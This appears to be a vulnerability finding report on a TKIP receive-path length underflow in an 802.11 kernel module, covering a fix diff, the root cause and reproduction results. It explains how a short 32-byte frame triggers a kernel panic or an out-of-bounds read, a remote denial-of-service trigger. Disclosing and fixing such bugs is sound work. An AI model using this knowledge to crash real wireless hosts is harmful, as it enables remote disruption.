fix.diff adds two minimal length guards in sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c: (1) in tkip_decap, immediately after the header pointers are initialized, reject frames with m_pkthdr.len < hdrlen + ic_header + ic_trailer (the decrypt floor, 36 B) before the ExtIV/TSC checks and the call to tkip_decrypt β closes the line-994 underflow; (2) in tkip_demic, before michael_mic, reject frames with m_pkthdr.len < hdrlen + ic_miclen (the demic floor) β closes the line-357 underflow. Both increment is_rx_tkipformat and emit IEEE80211_DISCARD_MAC. Supersedes the finding markdown's proposal (which used a goto tooshort label referencing an uninitialized wh and a spurious #undef tooshort; this version places the check after wh is initialized and returns inline). Full git-apply-able diff in findings/poc/DF-0594/fix.diff.
Verdict
REPRODUCED (code-level proof). The TKIP RX length-underflow in sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c is real and deterministic. ieee80211_crypto_decap (ieee80211_crypto.c:598) enforces only the WEP 32-byte floor, never adjusted for the cipher's ic_header/ic_trailer/ic_miclen (ieee80211_crypto.h:177-179, all u_int); tkip_decap (:265) does no length check before calling tkip_decrypt (:324). At tkip_decrypt line 994 the expression m->m_pkthdr.len (int, mbuf.h:159) - (hdrlen + tkip.ic_header + tkip.ic_trailer) mixes int with u_int: for a 32-byte frame the int is promoted to unsigned and 32-36 wraps to 0xFFFFFFFC, widened to size_t and passed as data_len to wep_decrypt (:663). In wep_decrypt off=m_len=32 so buflen=0, the inner loop runs zero times, m_next is NULL, and KASSERT(data_len==0) at :698 fires -> panic on the default INVARIANTS kernel (X86_64_GENERIC:56 builds INVARIANTS; systm.h:95 makes KASSERT=panic). The harness embeds wep_decrypt VERBATIM and replicates the exact line-994 arithmetic: the INVARIANTS build hits the KASSERT and aborts ('panic: out of buffers with data_len 4294967292', exit 134); the NO_INVARIANTS build places the frame buffer at a page boundary with a guard page after it and the ICV *pos++ check at :717 reads the guard page -> SIGSEGV (OOB read, CWE-125/787). Same bug class in tkip_demic (:357-360) via michael_mic/m_copydata. This KVM guest has no wifi radio/wlan kld (ifconfig -l => vtnet0 lo0), so the runtime 802.11 RX path is unreachable here; the code-level harness is the faithful proof, mirroring the DF-0265 precedent. Ceiling is a remote unauthenticated single-frame DoS (read bytes only feed an ICV inequality check); no path to code exec or privesc.
No comments yet.